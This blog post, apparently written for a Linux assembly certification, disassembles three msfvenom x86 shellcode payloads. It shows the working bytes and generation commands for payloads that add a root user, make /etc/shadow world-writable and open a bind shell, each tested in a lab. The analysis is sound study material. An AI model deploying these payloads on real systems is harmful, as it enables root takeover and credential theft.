Disecting Msfvenom Shellcode - Linux x86
Introduction
In this post, we will analyze three samples of Linux x86 based shellcode generated by msfvenom
using different tools. Now before going into the next section here’s the list of what is available to us.
root@ubuntu:~# msfvenom -l payloads | grep linux/x86
linux/x86/adduser Create a new user with UID 0
linux/x86/chmod Runs chmod on specified file with specified mode
linux/x86/exec Execute an arbitrary command
linux/x86/meterpreter/bind_ipv6_tcp Inject the mettle server payload (staged). Listen for an IPv6 connection (Linux x86)
linux/x86/meterpreter/bind_ipv6_tcp_uuid Inject the mettle server payload (staged). Listen for an IPv6 connection with UUID Support (Linux x86)
linux/x86/meterpreter/bind_nonx_tcp Inject the mettle server payload (staged). Listen for a connection
linux/x86/meterpreter/bind_tcp Inject the mettle server payload (staged). Listen for a connection (Linux x86)
linux/x86/meterpreter/bind_tcp_uuid Inject the mettle server payload (staged). Listen for a connection with UUID Support (Linux x86)
linux/x86/meterpreter/find_tag Inject the mettle server payload (staged). Use an established connection
linux/x86/meterpreter/reverse_ipv6_tcp Inject the mettle server payload (staged). Connect back to attacker over IPv6
linux/x86/meterpreter/reverse_nonx_tcp Inject the mettle server payload (staged). Connect back to the attacker
linux/x86/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker
linux/x86/meterpreter/reverse_tcp_uuid Inject the mettle server payload (staged). Connect back to the attacker
linux/x86/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
linux/x86/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
linux/x86/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
linux/x86/metsvc_bind_tcp Stub payload for interacting with a Meterpreter Service
linux/x86/metsvc_reverse_tcp Stub payload for interacting with a Meterpreter Service
linux/x86/read_file Read up to 4096 bytes from the local file system and write it back out to the specified file descriptor
linux/x86/shell/bind_ipv6_tcp Spawn a command shell (staged). Listen for an IPv6 connection (Linux x86)
linux/x86/shell/bind_ipv6_tcp_uuid Spawn a command shell (staged). Listen for an IPv6 connection with UUID Support (Linux x86)
linux/x86/shell/bind_nonx_tcp Spawn a command shell (staged). Listen for a connection
linux/x86/shell/bind_tcp Spawn a command shell (staged). Listen for a connection (Linux x86)
linux/x86/shell/bind_tcp_uuid Spawn a command shell (staged). Listen for a connection with UUID Support (Linux x86)
linux/x86/shell/find_tag Spawn a command shell (staged). Use an established connection
linux/x86/shell/reverse_ipv6_tcp Spawn a command shell (staged). Connect back to attacker over IPv6
linux/x86/shell/reverse_nonx_tcp Spawn a command shell (staged). Connect back to the attacker
linux/x86/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker
linux/x86/shell/reverse_tcp_uuid Spawn a command shell (staged). Connect back to the attacker
linux/x86/shell_bind_ipv6_tcp Listen for a connection over IPv6 and spawn a command shell
linux/x86/shell_bind_tcp Listen for a connection and spawn a command shell
linux/x86/shell_bind_tcp_random_port Listen for a connection in a random port and spawn a command shell. Use nmap to discover the open port: 'nmap -sS target -p-'.
linux/x86/shell_find_port Spawn a shell on an established connection
linux/x86/shell_find_tag Spawn a shell on an established connection (proxy/nat safe)
linux/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell
root@ubuntu:~#
Shellcode I
The first shellcode we’ll look at is adduser
, the following are the options needed by the payload.
root@ubuntu:~# msfvenom -p linux/x86/adduser --payload-options
Options for payload/linux/x86/adduser:
Name: Linux Add User
Module: payload/linux/x86/adduser
Platform: Linux
Arch: x86
Needs Admin: Yes
Total size: 97
Rank: Normal
Provided by:
skape <mmiller@hick.org>
vlad902 <vlad902@gmail.com>
spoonm <spoonm@no$email.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASS metasploit yes The password for this user
SHELL /bin/sh no The shell for this user
USER metasploit yes The username to create
Description:
Create a new user with UID 0
Generating shellcode.
root@ubuntu:~# msfvenom -p linux/x86/adduser USER=hax0r PASS=falafelislife -f c -v shellcode
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 92 bytes
Final size of c file: 419 bytes
unsigned char shellcode[] =
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51"
"\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63"
"\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x23\x00\x00\x00\x68\x61"
"\x78\x30\x72\x3a\x41\x7a\x45\x56\x62\x31\x4a\x43\x50\x47\x31"
"\x49\x51\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f"
"\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58"
"\xcd\x80";
root@ubuntu:~#
And then compile and test.
root@ubuntu:~# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
root@ubuntu:~# ./shellcode
root@ubuntu:~# cat /etc/passwd | grep hax0r
hax0r:AzEVb1JCPG1IQ:0:0::/:/bin/sh
root@ubuntu:~#
Now we use Ndisasm
to dump assembly code.
root@ubuntu:~# echo -ne "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x23\x00\x00\x00\x68\x61\x78\x30\x72\x3a\x41\x7a\x45\x56\x62\x31\x4a\x43\x50\x47\x31\x49\x51\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80" | ndisasm -u -
00000000 31C9 xor ecx,ecx
00000002 89CB mov ebx,ecx
00000004 6A46 push byte +0x46
00000006 58 pop eax
00000007 CD80 int 0x80
00000009 6A05 push byte +0x5
0000000B 58 pop eax
0000000C 31C9 xor ecx,ecx
0000000E 51 push ecx
0000000F 6873737764 push dword 0x64777373
00000014 682F2F7061 push dword 0x61702f2f
00000019 682F657463 push dword 0x6374652f
0000001E 89E3 mov ebx,esp
00000020 41 inc ecx
00000021 B504 mov ch,0x4
00000023 CD80 int 0x80
00000025 93 xchg eax,ebx
00000026 E823000000 call dword 0x4e
0000002B 6861783072 push dword 0x72307861
00000030 3A417A cmp al,[ecx+0x7a]
00000033 45 inc ebp
00000034 56 push esi
00000035 62 db 0x62
00000036 314A43 xor [edx+0x43],ecx
00000039 50 push eax
0000003A 47 inc edi
0000003B 314951 xor [ecx+0x51],ecx
0000003E 3A30 cmp dh,[eax]
00000040 3A30 cmp dh,[eax]
00000042 3A3A cmp bh,[edx]
00000044 2F das
00000045 3A2F cmp ch,[edi]
00000047 62696E bound ebp,[ecx+0x6e]
0000004A 2F das
0000004B 7368 jnc 0xb5
0000004D 0A598B or bl,[ecx-0x75]
00000050 51 push ecx
00000051 FC cld
00000052 6A04 push byte +0x4
00000054 58 pop eax
00000055 CD80 int 0x80
00000057 6A01 push byte +0x1
00000059 58 pop eax
0000005A CD80 int 0x80
root@ubuntu:~#
Let’s analyze the code line by line using the comments section.
syscall reference setreuid(), open(), write(), exit().
Shellcode II
The second shellcode we’re going to look at is chmod
, the following are the options that needs to be feed into the payload.
root@ubuntu:~# msfvenom -p linux/x86/chmod --payload-options
Options for payload/linux/x86/chmod:
Name: Linux Chmod
Module: payload/linux/x86/chmod
Platform: Linux
Arch: x86
Needs Admin: No
Total size: 36
Rank: Normal
Provided by:
kris katterjohn <katterjohn@gmail.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILE /etc/shadow yes Filename to chmod
MODE 0666 yes File mode (octal)
Description:
Runs chmod on specified file with specified mode
Generating shellcode using default options.
root@ubuntu:~# msfvenom -p linux/x86/chmod -f c -v shellcode
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 36 bytes
Final size of c file: 183 bytes
unsigned char shellcode[] =
"\x99\x6a\x0f\x58\x52\xe8\x0c\x00\x00\x00\x2f\x65\x74\x63\x2f"
"\x73\x68\x61\x64\x6f\x77\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd"
"\x80\x6a\x01\x58\xcd\x80";
root@ubuntu:~#
Compile and test.
root@ubuntu:~# ls -la /etc/shadow
-rw------- 1 root shadow 1317 Jan 23 09:47 /etc/shadow
root@ubuntu:~# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
root@ubuntu:~# ./shellcode
root@ubuntu:~# ls -la /etc/shadow
-rw-rw-rw- 1 root shadow 1317 Jan 23 09:47 /etc/shadow
root@ubuntu:~#
Use gdb
with peda
to dump assembly code.
root@ubuntu:~# gdb -q ./shellcode
Reading symbols from ./shellcode...(no debugging symbols found)...done.
gdb-peda$ set disassembly-flavor intel
gdb-peda$ break *&shellcode
Breakpoint 1 at 0x804a040
gdb-peda$ run
Starting program: /root/shellcode
[----------------------------------registers-----------------------------------]
EAX: 0x804a040 --> 0x580f6a99
EBX: 0x0
ECX: 0xbfffee90 --> 0x1
EDX: 0xbfffeeb4 --> 0x0
ESI: 0xb7fb9000 --> 0x1b1db0
EDI: 0xb7fb9000 --> 0x1b1db0
EBP: 0xbfffee78 --> 0x0
ESP: 0xbfffee5c --> 0x80483f8 (<main+29>: nop)
EIP: 0x804a040 --> 0x580f6a99
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804a03a: add BYTE PTR [eax],al
0x804a03c: add BYTE PTR [eax],al
0x804a03e: add BYTE PTR [eax],al
=> 0x804a040 <shellcode>: cdq
0x804a041 <shellcode+1>: push 0xf
0x804a043 <shellcode+3>: pop eax
0x804a044 <shellcode+4>: push edx
0x804a045 <shellcode+5>: call 0x804a056 <shellcode+22>
[------------------------------------stack-------------------------------------]
0000| 0xbfffee5c --> 0x80483f8 (<main+29>: nop)
0004| 0xbfffee60 --> 0x1
0008| 0xbfffee64 --> 0xbfffef24 --> 0xbffff120 ("/root/shellcode")
0012| 0xbfffee68 --> 0xbfffef2c --> 0xbffff130 ("XDG_VTNR=7")
0016| 0xbfffee6c --> 0x804a040 --> 0x580f6a99
0020| 0xbfffee70 --> 0xb7fb93dc --> 0xb7fba1e0 --> 0x0
0024| 0xbfffee74 --> 0xbfffee90 --> 0x1
0028| 0xbfffee78 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x0804a040 in shellcode ()
gdb-peda$ disassemble $eip, +35
Dump of assembler code from 0x804a040 to 0x804a063:
=> 0x0804a040 <shellcode+0>: cdq
0x0804a041 <shellcode+1>: push 0xf
0x0804a043 <shellcode+3>: pop eax
0x0804a044 <shellcode+4>: push edx
0x0804a045 <shellcode+5>: call 0x804a056 <shellcode+22>
0x0804a04a <shellcode+10>: das
0x0804a04b <shellcode+11>: gs je 0x804a0b1
0x0804a04e <shellcode+14>: das
0x0804a04f <shellcode+15>: jae 0x804a0b9
0x0804a051 <shellcode+17>: popa
0x0804a052 <shellcode+18>: outs dx,DWORD PTR fs:[esi]
0x0804a054 <shellcode+20>: ja 0x804a056 <shellcode+22>
0x0804a056 <shellcode+22>: pop ebx
0x0804a057 <shellcode+23>: push 0x1b6
0x0804a05c <shellcode+28>: pop ecx
0x0804a05d <shellcode+29>: int 0x80
0x0804a05f <shellcode+31>: push 0x1
0x0804a061 <shellcode+33>: pop eax
0x0804a062 <shellcode+34>: int 0x80
End of assembler dump.
Analyze code line by line using the comments section.
syscall reference chmod() and exit().
Shellcode III
The third and last shellcode we’re going to dissect is shell_bind_tcp
, let’s check payload options:
root@ubuntu:~# msfvenom -p linux/x86/shell_bind_tcp --payload-options
Options for payload/linux/x86/shell_bind_tcp:
Name: Linux Command Shell, Bind TCP Inline
Module: payload/linux/x86/shell_bind_tcp
Platform: Linux
Arch: x86
Needs Admin: No
Total size: 78
Rank: Normal
Provided by:
Ramon de C Valle <rcvalle@metasploit.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
LPORT 4444 yes The listen port
RHOST no The target address
Description:
Listen for a connection and spawn a command shell
Generating shellcode.
root@ubuntu:~# msfvenom -p linux/x86/shell_bind_tcp RHOST=127.0.0.1 -f c -v shellcode
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 78 bytes
Final size of c file: 360 bytes
unsigned char shellcode[] =
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a"
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80";
root@ubuntu:~#
Compile and test.
root@ubuntu:~# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
root@ubuntu:~# ./shellcode
^Z
[2]+ Stopped ./shellcode
root@ubuntu:~# bg
[2]+ ./shellcode &
root@ubuntu:~# nc -nv 127.0.0.1 4444
Connection to 127.0.0.1 4444 port [tcp/*] succeeded!
id
uid=0(root) gid=0(root) groups=0(root)
Use libemu
to dump assembly code.
root@ubuntu:~# msfvenom -p linux/x86/shell_bind_tcp RHOST=127.0.0.1 -f raw | sctest -S -s 100000 -vvv
verbose = 3
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 78 bytes
*
s
n
i
p
*
int socket (
int domain = 2;
int type = 1;
int protocol = 0;
) = 14;
int bind (
int sockfd = 14;
struct sockaddr_in * my_addr = 0x00416fc2 =>
struct = {
short sin_family = 2;
unsigned short sin_port = 23569 (port=4444);
struct in_addr sin_addr = {
unsigned long s_addr = 0 (host=0.0.0.0);
};
char sin_zero = " ";
};
int addrlen = 16;
) = 0;
int listen (
int s = 14;
int backlog = 0;
) = 0;
int accept (
int sockfd = 14;
sockaddr_in * addr = 0x00000000 =>
none;
int addrlen = 0x00000010 =>
none;
) = 19;
int dup2 (
int oldfd = 19;
int newfd = 14;
) = 14;
int dup2 (
int oldfd = 19;
int newfd = 13;
) = 13;
int dup2 (
int oldfd = 19;
int newfd = 12;
) = 12;
int dup2 (
int oldfd = 19;
int newfd = 11;
) = 11;
int dup2 (
int oldfd = 19;
int newfd = 10;
) = 10;
int dup2 (
int oldfd = 19;
int newfd = 9;
) = 9;
int dup2 (
int oldfd = 19;
int newfd = 8;
) = 8;
int dup2 (
int oldfd = 19;
int newfd = 7;
) = 7;
int dup2 (
int oldfd = 19;
int newfd = 6;
) = 6;
int dup2 (
int oldfd = 19;
int newfd = 5;
) = 5;
int dup2 (
int oldfd = 19;
int newfd = 4;
) = 4;
int dup2 (
int oldfd = 19;
int newfd = 3;
) = 3;
int dup2 (
int oldfd = 19;
int newfd = 2;
) = 2;
int dup2 (
int oldfd = 19;
int newfd = 1;
) = 1;
int dup2 (
int oldfd = 19;
int newfd = 0;
) = 0;
int execve (
const char * dateiname = 0x00416fb2 =>
= "/bin//sh";
const char * argv[] = [
= 0x00416faa =>
= 0x00416fb2 =>
= "/bin//sh";
= 0x00000000 =>
none;
];
const char * envp[] = 0x00000000 =>
none;
) = 0;
Analyze code line by line using the comments section.
syscall reference socketcall(), dup2(), and execute().
Closing Thoughts
Stepping through msfvenom
shellcode taught me few behind the scene tricks, also it cleared my doubts in terms of how some of the commands actually work and hope you learned something too! Feel free to contact me for questions via twitter @ihack4falafel.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1115
Github Repo: https://github.com/ihack4falafel/SLAE32/tree/master/Assignment%205